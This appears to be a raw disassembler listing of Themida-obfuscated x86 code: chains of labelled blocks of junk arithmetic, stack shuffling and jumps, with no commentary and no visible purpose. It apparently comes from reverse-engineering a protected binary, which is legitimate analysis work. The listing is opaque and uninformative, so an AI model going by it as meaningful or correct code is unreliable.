loc_56A9D2: ; CODE XREF: sub_562ABA+E24Ej
pop ebx
add esp, 4
jmp loc_562D35
; ---------------------------------------------------------------------------
loc_56A9DE: ; CODE XREF: sub_562ABA+11A6j
dec esi
sub esp, 4
mov [esp+36h+var_36], ebp
mov ebp, 5167697Eh
or ebp, 524607E2h
jmp loc_565349
; ---------------------------------------------------------------------------
loc_56A9F8: ; CODE XREF: sub_562ABA+1039j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp+4Ch+var_4E+2]
pop esp
and eax, ebp
pop ebp
shr eax, 8
xor eax, ecx
push 3BE4h
mov [esp+48h+var_4A+2], eax
xor [esp+48h+var_4A+2], eax
xor eax, [esp+48h+var_4A+2]
jmp loc_5714B2
; ---------------------------------------------------------------------------
loc_56AA25: ; CODE XREF: sub_562ABA-48B7j
sub edi, 2F1A4670h
add eax, edi
jmp loc_56A521
; ---------------------------------------------------------------------------
loc_56AA32: ; CODE XREF: sub_562ABA+7015j
pop edx
mov ebp, esi
pop esi
add ebp, edx
jmp loc_56DB18
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+1Ah+var_1A]
push 7BEBh
mov [esp+1Eh+var_1E], ecx
push esp
pop ecx
push eax
push ebx
jmp loc_56764A
; ---------------------------------------------------------------------------
loc_56AA52: ; CODE XREF: sub_562ABA+3916j
add eax, 0C808FE93h
mov edi, eax
pop eax
push edx
mov edx, 0D415D1Dh
or edi, edx
jmp loc_56EBDF
; ---------------------------------------------------------------------------
loc_56AA67: ; CODE XREF: sub_562ABA+A208j
mov [esp+12h+var_12], ebp
push dword ptr [esp+4]
mov ebp, [esp+16h+var_16]
jmp loc_56F3DB
; ---------------------------------------------------------------------------
loc_56AA76: ; CODE XREF: sub_562ABA-163Fj
neg ecx
jmp loc_55E699
; ---------------------------------------------------------------------------
loc_56AA7D: ; CODE XREF: sub_562ABA+7B92j
pop ecx
xor ebp, [esp+1Eh+var_1E]
xor [esp+1Eh+var_1E], ebp
jmp loc_55E952
; ---------------------------------------------------------------------------
loc_56AA89: ; CODE XREF: sub_562ABA+2361j
xor ebx, [esp+36h+var_36]
mov esp, [esp+36h+var_36]
rol word ptr [esp+36h+var_36], cl
pushf
jmp loc_5701A4
; ---------------------------------------------------------------------------
loc_56AA99: ; CODE XREF: sub_562ABA+7D6j
pop ecx
jmp loc_570C75
; ---------------------------------------------------------------------------
loc_56AA9F: ; CODE XREF: sub_562ABA+3CBAj
xchg ebp, [esp+0]
jmp loc_56FB50
; ---------------------------------------------------------------------------
loc_56AAA7: ; CODE XREF: sub_562ABA-169j
mov esp, [esp+2Ah+var_2C+2]
jmp loc_560297
; ---------------------------------------------------------------------------
loc_56AAAF: ; CODE XREF: sub_562ABA+4987j
add edi, 4
sub edi, 4
xchg edi, [esp+1Ah+var_1A]
pop esp
mov [esp+16h+var_16], esi
mov esi, 4
add ecx, 68966F56h
jmp loc_56C080
; ---------------------------------------------------------------------------
loc_56AACF: ; CODE XREF: sub_562ABA+911Ej
sub ah, cl
pop ecx
add bh, 7Dh
sub bh, 0C4h
jmp loc_56C21D
; ---------------------------------------------------------------------------
loc_56AADD: ; CODE XREF: sub_562ABA+A535j
sub ebx, 53A85CC4h
sub ebx, esi
add ebx, 53A85CC4h
pop esi
push ebx
xor [esp+12h+var_12], 27A4649h
jmp loc_5638BD
; ---------------------------------------------------------------------------
loc_56AAF9: ; CODE XREF: sub_562ABA+CC17j
movzx eax, al
mov dx, word ptr [esp+12h+var_12]
sub esp, 4
mov [esp+16h+var_16], eax
push esp
pop eax
push ecx
mov ecx, 4
add eax, ecx
pop ecx
push edi
mov edi, 2
add eax, edi
mov edi, [esp+1Ah+var_1A]
jmp loc_571992
; ---------------------------------------------------------------------------
loc_56AB24: ; CODE XREF: sub_562ABA+247Cj
push edi
push [esp+arg_0]
jmp loc_568B14
; ---------------------------------------------------------------------------
loc_56AB2E: ; CODE XREF: sub_562ABA+FCD1j
xor ecx, 0EA87C155h
and edi, ecx
jmp loc_568821
; ---------------------------------------------------------------------------
loc_56AB3B: ; CODE XREF: sub_562ABA+2000j
sub esp, 4
mov [esp+22h+var_22], ebp
pop ebx
push [esp+1Eh+var_1E]
pop ebp
push ebx
mov ebx, esp
add ebx, 4
jmp loc_56CB15
; ---------------------------------------------------------------------------
loc_56AB54: ; CODE XREF: sub_562ABA-45Bj
pop dx
sub al, dl
jmp loc_56AC94
; ---------------------------------------------------------------------------
loc_56AB5D: ; CODE XREF: sub_562ABA+CDFEj
add eax, 4ADE5DA3h
xor eax, 9C5FCF07h
sub ebx, eax
pop eax
add ebx, edi
add ebx, 0C3674F8h
mov edi, [esp-10h+arg_C]
add esp, 4
xchg ebx, [esp-14h+arg_10]
mov esp, [esp-14h+arg_10]
push 6427h
mov [esp-10h+arg_C], esi
mov esi, 280B7FC7h
add edx, esi
jmp loc_56AFEA
; ---------------------------------------------------------------------------
loc_56AB92: ; CODE XREF: sub_562ABA+5329j
sub ebx, 22736113h
sub ebx, 0EEB0B343h
and esi, ebx
jmp loc_56E3BC
; ---------------------------------------------------------------------------
loc_56ABA5: ; CODE XREF: sub_562ABA+BA51j
push ecx
push 1D586C9Dh
jmp loc_5702BA
; ---------------------------------------------------------------------------
loc_56ABB0: ; CODE XREF: sub_562ABA+D5DAj
not al
sub al, 0
add al, 69h
push ecx
mov cl, 0DEh
dec cl
add cl, 64h
or al, cl
jmp loc_56AF80
; ---------------------------------------------------------------------------
loc_56ABC5: ; CODE XREF: sub_562ABA+972j
mov ecx, [esp+12h+var_12]
jmp loc_55E61A
; ---------------------------------------------------------------------------
loc_56ABCD: ; CODE XREF: sub_562ABA+D3DAj
mov ebx, [esp+12h+var_12]
jmp loc_56F4E4
; ---------------------------------------------------------------------------
loc_56ABD5: ; CODE XREF: sub_55FCA5+3CBj
sub ecx, 8030EABCh
add esi, ecx
jmp loc_56F1D0
; ---------------------------------------------------------------------------
loc_56ABE2: ; CODE XREF: sub_562ABA+F578j
inc [esp+12h+var_12]
pop ebp
add ebp, 0FFFEE42Eh
add ecx, ebp
mov ebp, [esp+0]
jmp loc_560A98
; ---------------------------------------------------------------------------
loc_56ABF6: ; CODE XREF: sub_562ABA+D011j
sub esp, 4
mov [esp+12h+var_12], edx
jmp loc_56B21F
; ---------------------------------------------------------------------------
loc_56AC04: ; CODE XREF: sub_562ABA+979Ej
push ebx
mov ebx, 4C72250Eh
xor ebx, 2EB55C46h
not ebx
shl ebx, 7
shr ebx, 2
sub ebx, 2710D6DCh
add edi, ebx
pop ebx
sub edi, 4
xchg edi, [esp+12h+var_12]
jmp loc_562B89
; ---------------------------------------------------------------------------
loc_56AC2C: ; CODE XREF: sub_562ABA+25E0j
xor esi, 4F2B31C0h
shr esi, 7
jmp loc_568E79
; ---------------------------------------------------------------------------
loc_56AC3A: ; CODE XREF: sub_562ABA+C411j
shr edi, 5
xchg esi, edi
jmp loc_56CB7F
; ---------------------------------------------------------------------------
loc_56AC44: ; CODE XREF: sub_562ABA+27E6j
pop esp
add ecx, 4
push edi
mov edi, 2
push edi
mov edi, 1CF5389Ah
jmp loc_56673D
; ---------------------------------------------------------------------------
loc_56AC5C: ; CODE XREF: sub_562ABA-DF2j
add ebx, 3C6B7810h
sub ebx, edi
sub ebx, 3C6B7810h
sub ebx, 3C10686Bh
mov edi, [esp+0]
add esp, 4
jmp loc_5621A1
; ---------------------------------------------------------------------------
loc_56AC7B: ; CODE XREF: sub_562ABA-378Dj
sub esi, 5CE2755Fh
pop ebp
sub esp, 4
jmp loc_5674D2
; ---------------------------------------------------------------------------
loc_56AC8D: ; CODE XREF: sub_562ABA+A791j
and eax, esi
jmp loc_57262E
; ---------------------------------------------------------------------------
loc_56AC94: ; CODE XREF: sub_562ABA+809Ej
sub al, 79h
pop edx
push ebx
mov bh, 0C9h
not bh
push eax
mov ah, 6
jmp loc_571D42
; ---------------------------------------------------------------------------
loc_56ACA4: ; CODE XREF: sub_562ABA-2383j
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
push 5446h
mov [esp+0], ecx
mov ch, 99h
add ch, 8Dh
add ch, 52h
not ch
push ebx
jmp loc_5669A3
; ---------------------------------------------------------------------------
loc_56ACCA: ; CODE XREF: sub_562ABA+CD03j
sub edi, 4
xchg edi, [esp+2+var_4+2]
jmp loc_56CCC7
; ---------------------------------------------------------------------------
loc_56ACD5: ; CODE XREF: sub_562ABA-3EF5j
add edx, 1A2452D6h
jmp loc_57290A
; ---------------------------------------------------------------------------
loc_56ACE0: ; CODE XREF: sub_562ABA+BBE8j
inc esi
jmp loc_5689DC
; ---------------------------------------------------------------------------
loc_56ACE6: ; CODE XREF: sub_562ABA+FFBDj
mov edi, esp
add edi, 4
jmp loc_568D6F
; ---------------------------------------------------------------------------
loc_56ACF3: ; CODE XREF: sub_55FCA5+62j
mov dword ptr [ecx], 0
push [esp+32h+var_32]
mov ecx, [esp+36h+var_36]
add esp, 4
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp+36h+var_36]
pop esp
jmp loc_566121
; ---------------------------------------------------------------------------
loc_56AD17: ; CODE XREF: sub_562ABA+8E79j
push dword ptr [esp+4]
pop ebp
pop [esp+32h+var_32]
jmp loc_5704B7
; ---------------------------------------------------------------------------
loc_56AD24: ; CODE XREF: sub_562ABA+7E5Ej
and esi, eax
pop eax
jmp loc_56CFE9
; ---------------------------------------------------------------------------
loc_56AD2C: ; CODE XREF: sub_562ABA+DB5Bj
sub eax, 57B470E6h
pop esi
sub esp, 4
mov [esp+32h+var_32], edx
mov edx, 74A6341Fh
xor edx, 74A6341Dh
add eax, edx
jmp loc_56BEDD
; ---------------------------------------------------------------------------
loc_56AD4A: ; CODE XREF: sub_562ABA+31D4j
push ebx
mov ebx, 0F1226E0h
sub ebx, 17B95CCEh
and ebx, 52DA174Bh
jmp loc_56CB8F
; ---------------------------------------------------------------------------
loc_56AD61: ; CODE XREF: sub_562ABA+C9DAj
mov eax, [esp+12h+var_12]
add esp, 4
jmp loc_567BB1
; ---------------------------------------------------------------------------
loc_56AD6F: ; CODE XREF: sub_562ABA+5C73j
add edx, esi
pop esi
sub edx, 78615F5Dh
add edx, eax
push ebp
jmp loc_562FD6
; ---------------------------------------------------------------------------
loc_56AD80: ; CODE XREF: sub_562ABA+119Bj
xor ebx, [esp+32h+var_32]
xor [esp+32h+var_32], ebx
xor ebx, [esp+32h+var_32]
pop esp
add dword ptr [esp+0], 0A4861C8h
add dword ptr [esp+0], 6122264h
sub dword ptr [esp+0], 1466CF2h
sub [esp+0], eax
add dword ptr [esp+0], 1466CF2h
push 358h
jmp loc_55EFB2
; ---------------------------------------------------------------------------
loc_56ADB3: ; CODE XREF: sub_562ABA+7165j
xor edx, eax
pop eax
push edi
mov edi, 42FD7B44h
not edi
shl edi, 1
push eax
push ebp
mov ebp, 0C2E5D5Ah
jmp loc_56025F
; ---------------------------------------------------------------------------
loc_56ADCC: ; CODE XREF: sub_562ABA+3585j
sub ebx, 4
xchg ebx, [esp+1Ah+var_1A]
mov esp, [esp+1Ah+var_1A]
jmp loc_56BB8B
; ---------------------------------------------------------------------------
loc_56ADDD: ; CODE XREF: sub_562ABA+3CFBj
mov [esp+0], ebp
jmp loc_57188A
; ---------------------------------------------------------------------------
loc_56ADE5: ; CODE XREF: sub_562ABA+FEACj
mov esp, [esp+0]
jmp loc_566A64
; ---------------------------------------------------------------------------
loc_56ADED: ; CODE XREF: sub_562ABA+B760j
add esp, 4
jmp loc_570F78
; ---------------------------------------------------------------------------
loc_56ADF5: ; CODE XREF: sub_562ABA-31EEj
mov [esp+12h+var_12], ebx
jmp loc_5618F7
; ---------------------------------------------------------------------------
loc_56ADFD: ; CODE XREF: sub_562ABA+9B7j
mov [esp+0], eax
jmp loc_56307A
; ---------------------------------------------------------------------------
loc_56AE05: ; CODE XREF: sub_562ABA-307Fj
push ebx
mov ebx, 4
mov eax, ebx
pop ebx
jmp loc_5659E5
; ---------------------------------------------------------------------------
loc_56AE13: ; CODE XREF: sub_562ABA+13C6j
pop eax
add esi, ebp
pop ebp
sub ebx, 36A2275Dh
add ebx, esi
add ebx, 36A2275Dh
push [esp+16h+var_16]
pop esi
add esp, 4
jmp loc_56FB21
; ---------------------------------------------------------------------------
loc_56AE31: ; CODE XREF: sub_562ABA+BB9Fj
mov esp, [esp+12h+var_12]
jmp loc_563DD2
; ---------------------------------------------------------------------------
loc_56AE39: ; CODE XREF: sub_562ABA-42A8j
pop ebp
push eax
jmp loc_563D17
; ---------------------------------------------------------------------------
loc_56AE40: ; CODE XREF: sub_562ABA+A1A1j
push ebx
push 32DAh
mov [esp+1Eh+var_1E], eax
push esi
push 56412DBCh
mov esi, [esp+26h+var_28+2]
jmp loc_56B4C4
; ---------------------------------------------------------------------------
loc_56AE57: ; CODE XREF: sub_562ABA+F518j
push 1289h
mov [esp+2Ah+var_2C+2], esp
jmp loc_568D2F
; ---------------------------------------------------------------------------
loc_56AE64: ; CODE XREF: sub_562ABA+91B0j
sub ebp, 48F85CACh
pop ebx
xor ebp, [esp+26h+var_28+2]
jmp loc_571A70
; ---------------------------------------------------------------------------
loc_56AE73: ; CODE XREF: sub_562ABA-1B67j
dec ebp
sub ebp, 12E6F98Fh
add edx, ebp
pop ebp
mov ecx, [esp+44h+var_46+2]
add esp, 4
xchg edx, [esp+40h+var_42+2]
mov esp, [esp+40h+var_42+2]
mov ecx, [esp+40h+var_42+2]
push 2642h
mov [esp+44h+var_46+2], ebp
push 0D60h
push 1E68h
jmp loc_5682EB
; ---------------------------------------------------------------------------
loc_56AEA6: ; CODE XREF: sub_562ABA+BF84j
push 1A46h
jmp loc_565A1D
; ---------------------------------------------------------------------------
loc_56AEB0: ; CODE XREF: sub_562ABA+7AF1j
add ecx, ebp
add ecx, 6AA05C46h
pop ebp
add ecx, 4
xchg ecx, [esp+32h+var_32]
pop esp
jmp loc_564AFD
; ---------------------------------------------------------------------------
loc_56AEC5: ; CODE XREF: sub_562ABA-4840j
shl eax, 4
xor eax, 5D144787h
shr eax, 8
push esi
jmp loc_5723FE
; ---------------------------------------------------------------------------
loc_56AED6: ; CODE XREF: sub_55FCA5+2D5j
sub ecx, 27F15447h
sub edi, ecx
jmp loc_566792
; ---------------------------------------------------------------------------
loc_56AEE3: ; DATA XREF: Themida_:0055DFACo
lodsd
push edx
jmp loc_56DA3B
; ---------------------------------------------------------------------------
loc_56AEEA: ; CODE XREF: sub_562ABA-3389j
sub eax, 4F42716Fh
add eax, ebx
add eax, 4F42716Fh
pop ebx
push ecx
mov ecx, 46B9359Dh
add ecx, 5F5A66E6h
sub ecx, 612D0C3Eh
jmp loc_5670D2
; ---------------------------------------------------------------------------
loc_56AF0E: ; CODE XREF: sub_562ABA+F5j
push edx
mov edx, 2455574Eh
add edx, 513DDE00h
mov edi, edx
pop edx
sub edi, 365C1F5Bh
shl edi, 5
inc edi
sub edi, 0E6E2BE5Dh
add ebp, edi
mov edi, [esp+12h+var_12]
add esp, 4
sub esp, 4
mov [esp+12h+var_12], esi
mov esi, 61002F60h
not esi
and esi, 2E8A6E8Bh
push ecx
mov ecx, 40D97973h
or esi, ecx
pop ecx
push ebp
push 4EDB79F9h
mov ebp, [esp+1Ah+var_1A]
add esp, 4
xor esi, ebp
pop ebp
add ebp, 783F303Ch
sub ebp, 22BD6928h
jmp loc_572043
; ---------------------------------------------------------------------------
mov ax, word ptr [esp+12h+var_12]
jmp loc_56B28A
; ---------------------------------------------------------------------------
loc_56AF80: ; CODE XREF: sub_562ABA+8106j
pop ecx
shl al, 7
add al, 81h
add bl, al
pop eax
mov dx, word ptr [esp+20h+var_22+2]
add esp, 2
sub bl, 0E7h
sub bl, 0FDh
jmp loc_56074A
; ---------------------------------------------------------------------------
loc_56AF9B: ; CODE XREF: sub_562ABA+3154j
or dh, 0FCh
shl dh, 1
add dh, 0EAh
add bl, dh
push [esp+26h+var_28+2]
pop edx
push ecx
jmp loc_56E8F6
; ---------------------------------------------------------------------------
loc_56AFAF: ; CODE XREF: sub_562ABA+1E44j
mov [esp+0], ecx
push ebx
push ecx
mov cl, 6Bh
dec cl
push ebx
mov bl, 0D7h
jmp loc_56A138
; ---------------------------------------------------------------------------
loc_56AFC0: ; CODE XREF: sub_562ABA+AE0j
sub edi, 77186173h
jmp loc_55FCDA
; ---------------------------------------------------------------------------
loc_56AFCB: ; CODE XREF: sub_562ABA+8A7Ej
push 2F90h
mov [esp+36h+var_36], edi
mov edi, 4
add eax, 6E4351Ch
add eax, edi
sub eax, 6E4351Ch
pop edi
jmp loc_568F73
; ---------------------------------------------------------------------------
loc_56AFEA: ; CODE XREF: sub_562ABA+80D3j
pop esi
jmp loc_55E09F
; ---------------------------------------------------------------------------
loc_56AFF0: ; CODE XREF: sub_562ABA+E927j
add [esp-14h+arg_10], 4
pop [esp-14h+arg_10]
push ecx
push ebx
mov ebx, 14F30737h
sub esp, 4
mov [esp-0Ch+arg_8], esi
push ebx
jmp loc_55E1A1
; ---------------------------------------------------------------------------
loc_56B010: ; CODE XREF: sub_562ABA+86ADj
pop ecx
push ebx
jmp loc_56FA39
; ---------------------------------------------------------------------------
loc_56B017: ; CODE XREF: sub_562ABA+634Cj
and esi, edx
pop edx
jmp loc_56B458
; ---------------------------------------------------------------------------
loc_56B01F: ; CODE XREF: Themida_:0055E4EBj
add esp, 4
add edx, 4
jmp loc_56C4A9
; ---------------------------------------------------------------------------
loc_56B02D: ; CODE XREF: sub_562ABA+A0Ej
add esp, 4
sub esp, 4
mov [esp+10h+var_12+2], ecx
jmp loc_565C93
; ---------------------------------------------------------------------------
loc_56B03E: ; CODE XREF: sub_562ABA+52B5j
shl bx, 7
and bx, 2305h
sub bx, 0DF55h
jmp loc_56326F
; ---------------------------------------------------------------------------
loc_56B051: ; CODE XREF: sub_562ABA+CE0Fj
xchg eax, [esp+2+var_4+2]
mov esp, [esp+2+var_4+2]
mov [esp+2+var_4+2], ebx
jmp loc_565595
; ---------------------------------------------------------------------------
loc_56B05F: ; CODE XREF: sub_562ABA+4243j
mov esi, 4
add [esp+36h+var_32], esi
pop esi
pop [esp+32h+var_32]
push edx
jmp loc_57148A
; ---------------------------------------------------------------------------
loc_56B072: ; CODE XREF: Themida_:0056180Fj
mov eax, 0C5B4B0DAh
push ebp
mov ebp, eax
mov edi, ebp
mov ebp, [esp+36h+var_36]
jmp loc_56C4BD
; ---------------------------------------------------------------------------
loc_56B084: ; CODE XREF: sub_562ABA-216j
push ecx
jmp loc_56F7F6
; ---------------------------------------------------------------------------
loc_56B08A: ; CODE XREF: sub_562ABA+2913j
xor [esp+1Ah+var_1A], eax
jmp loc_56CCF5
; ---------------------------------------------------------------------------
loc_56B092: ; CODE XREF: sub_562ABA+1AE6j
push dword ptr [esp+0]
push [esp+32h+var_32]
mov eax, [esp+36h+var_36]
add esp, 4
push esi
mov esi, esp
push ecx
jmp loc_56CE0E
; ---------------------------------------------------------------------------
loc_56B0A7: ; CODE XREF: sub_562ABA+D50Aj
pop [esp+3Ah+var_3A]
jmp loc_566F94
; ---------------------------------------------------------------------------
loc_56B0AF: ; CODE XREF: sub_55FCA5-6Ej
pop esi
sub edx, ecx
jmp loc_56B950
; ---------------------------------------------------------------------------
loc_56B0B7: ; CODE XREF: sub_562ABA-1EC9j
shl esi, 4
and esi, 4F022925h
jmp loc_566437
; ---------------------------------------------------------------------------
loc_56B0C5: ; CODE XREF: sub_55FCA5+2A80j
not [esp+8+var_8]
mov esi, [esp+8+var_8]
add esp, 4
xor esi, 185332B9h
inc esi
jmp loc_56EDC9
; ---------------------------------------------------------------------------
loc_56B0DA: ; CODE XREF: sub_562ABA+8B74j
mov edx, [esp+4+var_4]
add esp, 4
add edx, 4
push 7E69h
jmp loc_56B84B
; ---------------------------------------------------------------------------
loc_56B0F0: ; CODE XREF: sub_562ABA+643Fj
mov ebp, [esp+36h+var_36]
add esp, 4
jmp loc_56F0EE
; ---------------------------------------------------------------------------
loc_56B0FE: ; CODE XREF: sub_562ABA+95F4j
push ebp
jmp loc_5722CB
; ---------------------------------------------------------------------------
loc_56B104: ; CODE XREF: sub_562ABA-3DD7j
push esi
sub esp, 4
jmp loc_5643E3
; ---------------------------------------------------------------------------
loc_56B110: ; CODE XREF: sub_562ABA+3D0Ej
xchg esi, [esp+12h+var_12]
pop esp
jmp sub_55F788
; ---------------------------------------------------------------------------
loc_56B119: ; CODE XREF: sub_562ABA+C22j
push ecx
add [esp+1Ah+var_1A], 6235028Ch
mov esi, [esp+1Ah+var_1A]
jmp loc_560704
; ---------------------------------------------------------------------------
loc_56B129: ; CODE XREF: sub_562ABA+8CCBj
add edi, 4
add edi, 4
xor edi, [esp+1Ah+var_1A]
xor [esp+1Ah+var_1A], edi
xor edi, [esp+1Ah+var_1A]
jmp loc_5625F8
; ---------------------------------------------------------------------------
loc_56B143: ; CODE XREF: sub_562ABA+5CFCj
pop edx
shr ebp, 2
push 7745h
mov [esp+12h+var_12], eax
jmp loc_5618A9
; ---------------------------------------------------------------------------
loc_56B154: ; CODE XREF: sub_562ABA+28Ej
mov eax, edx
pop edx
jmp loc_56EFDC
; ---------------------------------------------------------------------------
loc_56B15C: ; CODE XREF: sub_562ABA-1B2Aj
xor ecx, ebx
push [esp-14h+arg_10]
pop ebx
add esp, 4
mov edi, ecx
jmp loc_56B010
; ---------------------------------------------------------------------------
loc_56B16C: ; CODE XREF: sub_562ABA+6C9Fj
mov ebx, 38035B6Bh
jmp loc_560F28
; ---------------------------------------------------------------------------
loc_56B176: ; CODE XREF: sub_562ABA+CCFj
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+36h+var_36]
jmp loc_56A6CB
; ---------------------------------------------------------------------------
loc_56B18A: ; CODE XREF: sub_562ABA+8F50j
mov [esp+36h+var_36], eax
push edx
mov edx, 3F282ACAh
jmp loc_56E931
; ---------------------------------------------------------------------------
loc_56B198: ; CODE XREF: sub_562ABA-492Dj
not dl
neg dl
push ecx
jmp loc_5643C8
; ---------------------------------------------------------------------------
loc_56B1A2: ; CODE XREF: sub_562ABA+CD77j
pop ebp
sub esp, 4
mov [esp+0], esi
mov esi, 4
sub ebp, 0B445601h
add ebp, esi
sub esp, 4
mov [esp+12h+var_12], ecx
push esi
mov esi, 0A7B6774h
mov ecx, 13F3175h
xor ecx, esi
pop esi
add ebp, 7A38797Fh
add ebp, ecx
sub ebp, 7A38797Fh
mov ecx, [esp+12h+var_12]
add esp, 4
push dword ptr [esp+0]
pop esi
add esp, 4
add ebp, 2
sub esp, 4
jmp loc_55FEB1
; ---------------------------------------------------------------------------
loc_56B1FC: ; CODE XREF: sub_562ABA+657j
xor edx, [esp+8+var_8]
jmp loc_5649A9
; ---------------------------------------------------------------------------
loc_56B204: ; CODE XREF: sub_562ABA-2940j
xor ecx, ebp
not ebp
xchg ebp, ecx
jmp loc_56E2AF
; ---------------------------------------------------------------------------
loc_56B20F: ; CODE XREF: sub_562ABA-1FD8j
push [esp+0Ah+var_C+2]
jmp loc_55E837
; ---------------------------------------------------------------------------
loc_56B217: ; CODE XREF: sub_562ABA+21F8j
and eax, ebx
pop ebx
jmp loc_5655F5
; ---------------------------------------------------------------------------
loc_56B21F: ; CODE XREF: sub_562ABA+8145j
mov edx, 4
sub edi, edx
pop edx
xchg edi, [esp+0]
mov esp, [esp+0]
mov [esp+0], eax
push edx
jmp loc_563B84
; ---------------------------------------------------------------------------
loc_56B236: ; CODE XREF: sub_562ABA+F18j
sub edx, 28814882h
pop edi
push edi
mov edi, 38B5DEA1h
jmp loc_564E93
; ---------------------------------------------------------------------------
loc_56B248: ; CODE XREF: sub_562ABA+CABj
add esp, 4
sub edx, esi
pop esi
add edx, 306C6233h
sub edx, eax
sub edx, 306C6233h
push ebx
jmp loc_563FAA
; ---------------------------------------------------------------------------
loc_56B265: ; CODE XREF: sub_562ABA+100FBj
push [esp+42h+var_3E]
pop edi
pop [esp+42h+var_42]
pop esp
sub esp, 4
mov [esp+3Eh+var_3E], ebx
mov ebx, 4DCF265Eh
add ebx, 1
jmp loc_569E16
; ---------------------------------------------------------------------------
loc_56B281: ; CODE XREF: sub_562ABA-B06j
pop edi
push [esp+6+var_8+2]
jmp loc_567260
; ---------------------------------------------------------------------------
loc_56B28A: ; CODE XREF: sub_562ABA+84C1j
push 709Fh
mov [esp+16h+var_16], eax
push esp
push [esp+1Ah+var_1A]
pop eax
push ebp
jmp loc_5655AC
; ---------------------------------------------------------------------------
loc_56B29D: ; CODE XREF: sub_562ABA+3FBDj
mov ecx, 7C6173F4h
mov ebx, 0E718059Ah
add ebx, ecx
pop ecx
push edi
mov edi, 64100D0Bh
shr edi, 2
inc edi
push edx
mov edx, 791E4DA6h
neg edx
dec edx
add edx, 0DAD57ABCh
add edi, edx
pop edx
jmp loc_55EA81
; ---------------------------------------------------------------------------
loc_56B2CB: ; CODE XREF: sub_562ABA+E86Dj
sub esp, 4
mov [esp+1Ch+var_1E+2], edi
jmp loc_5614E8
; ---------------------------------------------------------------------------
loc_56B2D6: ; CODE XREF: sub_562ABA+259j
xchg eax, [esp+0Ah+var_C+2]
mov esp, [esp+0Ah+var_C+2]
jmp loc_55E09F
; ---------------------------------------------------------------------------
mov cx, word ptr [esp+0Ah+var_C+2]
jmp loc_5615E0
; ---------------------------------------------------------------------------
loc_56B2EA: ; CODE XREF: sub_562ABA+43D7j
add al, dl
sub al, 86h
pop dx
sub bl, 0FDh
sub bl, 0Bh
push eax
jmp loc_57288F
; ---------------------------------------------------------------------------
loc_56B2FC: ; CODE XREF: sub_562ABA+9590j
xchg edi, [esp+58h+var_5A+2]
jmp loc_57039B
; ---------------------------------------------------------------------------
loc_56B304: ; CODE XREF: sub_562ABA-276Bj
sub eax, 15BA34CBh
push ecx
push esp
pop ecx
push ebx
mov ebx, 4
add ecx, ebx
jmp loc_56C3F5
; ---------------------------------------------------------------------------
loc_56B319: ; CODE XREF: sub_562ABA+F406j
or ebp, 5E9145EAh
jmp loc_56710D
; ---------------------------------------------------------------------------
loc_56B324: ; CODE XREF: sub_562ABA+92E9j
sub ebx, 4CC40DE9h
jmp loc_562D02
; ---------------------------------------------------------------------------
loc_56B32F: ; CODE XREF: Themida_:0056149Cj
push esi
sub esp, 4
mov [esp+12h+var_12], esp
push edx
mov edx, 4
add [esp+16h+var_12], edx
pop edx
jmp loc_56EB1E
; ---------------------------------------------------------------------------
loc_56B346: ; CODE XREF: sub_562ABA+AC19j
sub edi, 0C44AE017h
and edx, edi
pop edi
not edx
shl edx, 7
xor edx, 8A3BC7D9h
mov eax, edx
pop edx
shl eax, 2
push edx
push ebx
mov ebx, 1
mov edx, ebx
jmp loc_5707C3
; ---------------------------------------------------------------------------
loc_56B36E: ; CODE XREF: sub_562ABA-1BEDj
push edx
mov edx, 3D0E667Fh
push ebx
mov ebx, 265A74FDh
push ecx
mov ecx, 5B7A1E9Fh
add ebx, ecx
pop ecx
xor ebx, 0ADF6C977h
jmp loc_56FB9E
; ---------------------------------------------------------------------------
loc_56B38E: ; CODE XREF: sub_562ABA+C120j
push [esp+50h+var_52+2]
push [esp+54h+var_56+2]
push [esp+58h+var_5A+2]
pop edi
add esp, 4
sub esp, 4
mov [esp+58h+var_5A+2], ebp
push esp
pop ebp
push esi
mov esi, 4
add ebp, offset dword_437474
add ebp, esi
sub ebp, offset dword_437474
mov esi, [esp+5Ch+var_5E+2]
add esp, 4
sub esp, 4
mov [esp+5Ch+var_5E+2], ecx
push 4
push [esp+60h+var_62+2]
pop ecx
add esp, 4
add ebp, ecx
mov ecx, [esp+5Ch+var_5E+2]
add esp, 4
push 8E0h
jmp loc_56A975
; ---------------------------------------------------------------------------
loc_56B3F0: ; CODE XREF: sub_562ABA+14A7j
push ebx
jmp loc_56E8BC
; ---------------------------------------------------------------------------
loc_56B3F6: ; CODE XREF: sub_562ABA+A728j
add ebx, edx
sub ebx, 56F77639h
pop edx
push edx
jmp loc_56B654
; ---------------------------------------------------------------------------
loc_56B405: ; CODE XREF: sub_562ABA+AEDFj
mov ebp, esp
add ebp, 4
push ecx
jmp loc_56FE16
; ---------------------------------------------------------------------------
loc_56B413: ; CODE XREF: sub_562ABA-9D2j
dec dword ptr [esp+0]
not dword ptr [esp+0]
pop ebx
push esi
mov esi, 0FFFFFFFFh
jmp loc_56FD2D
; ---------------------------------------------------------------------------
loc_56B425: ; CODE XREF: Themida_:005606A8j
add esp, 4
sub esp, 4
mov [esp+0], ecx
sub esp, 4
jmp loc_55EE98
; ---------------------------------------------------------------------------
loc_56B43C: ; CODE XREF: sub_562ABA-1EAj
add esp, 4
sub esp, 4
mov [esp+0], ebp
mov ebp, 3F4A4BD5h
not ebp
push edi
jmp loc_571731
; ---------------------------------------------------------------------------
loc_56B458: ; CODE XREF: sub_562ABA+8560j
inc esi
jmp loc_56F57B
; ---------------------------------------------------------------------------
loc_56B45E: ; CODE XREF: Themida_:00571E38j
push 3AA3h
mov [esp+5Eh+var_5E], ebx
push 62C9h
mov [esp+62h+var_62], esp
add [esp+62h+var_62], 4
push [esp+62h+var_62]
pop ebx
sub esp, 4
mov [esp+66h+var_66], ecx
push esp
pop ecx
add ecx, 4
push 27CAh
mov [esp+6Ah+var_6A], ebp
push ecx
mov ecx, 435656AAh
and ecx, 51951FFEh
not ecx
neg ecx
jmp loc_566B29
; ---------------------------------------------------------------------------
loc_56B4A4: ; CODE XREF: sub_562ABA+CE06j
pop esp
mov [esp+6Ah+var_6A], edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp+6Ah+var_6A]
pop esp
push 4ED7h
mov [esp+6Ah+var_6A], edx
jmp loc_56EA38
; ---------------------------------------------------------------------------
loc_56B4C4: ; CODE XREF: sub_562ABA+8398j
add esp, 4
